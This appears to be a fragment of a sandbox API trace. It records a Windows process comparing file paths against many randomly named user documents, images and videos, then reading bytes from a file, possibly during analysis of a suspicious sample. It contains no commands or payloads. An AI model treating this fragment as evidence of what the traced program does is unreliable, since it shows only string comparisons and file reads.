[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned 1
[0079.520] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 1
[0079.521] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/kxnvh5qb%20v.xlsx") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/rthnmpt4.flv") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/h8t9gaqgi.csv") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/hqgdu8.xlsx") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/o_m4tlnnqh_j6l.flv") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/limz5v.csv") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/ywyoxuxawfnzgqi3r.pptx") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/4qaggwk3%20all.doc") returned 1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/pg%20vt.swf") returned -1
[0079.522] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/rtshl9p-.flv") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/k5kcsxnzz586a.mkv") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pktpgto-.odp") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/db%20t5t-sbxsujrv0c.flv") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/p_8z9o.odp") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/t1kkmdu3tofb.bmp") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/uezrn08sfabq3k36bwj.png") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/josiaz/sfxq3ziiymv14cjiyaox.flv") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/j_52vz9ulujpr%205aiz.jpg") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/ncs6ha0jwetbuz.jpg") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/4%20u_4u6ls4.ods") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned -1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 1
[0079.523] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 0
[0079.523] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.523] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.523] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.523] SetFilePointer (in: hFile=0xa0, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
[0079.523] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.524] _strlwr (in: _Str=":Host: Computer" | out: _Str=":host: computer") returned=":host: computer"
[0079.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr=":host: computer") returned 16
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned -1
[0079.524] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned -1
[0079.525] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned -1
[0079.526] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/n6il-.docx") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned -1
[0079.531] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/4xsp.doc") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/e5q5mim%20%20jr.docx") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/eb2hhnlry-lic.csv") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/pictures/ehtqo4ki.png") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/6fyo-5qa.pps") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/appdata/roaming/ionye%20n-y0yof.rtf") returned -1
[0079.532] wcscmp (_String1=":host: computer", _String2="file:///c:/users/atveydl98z/documents/pzdszbvbaqd.pps") returned -1
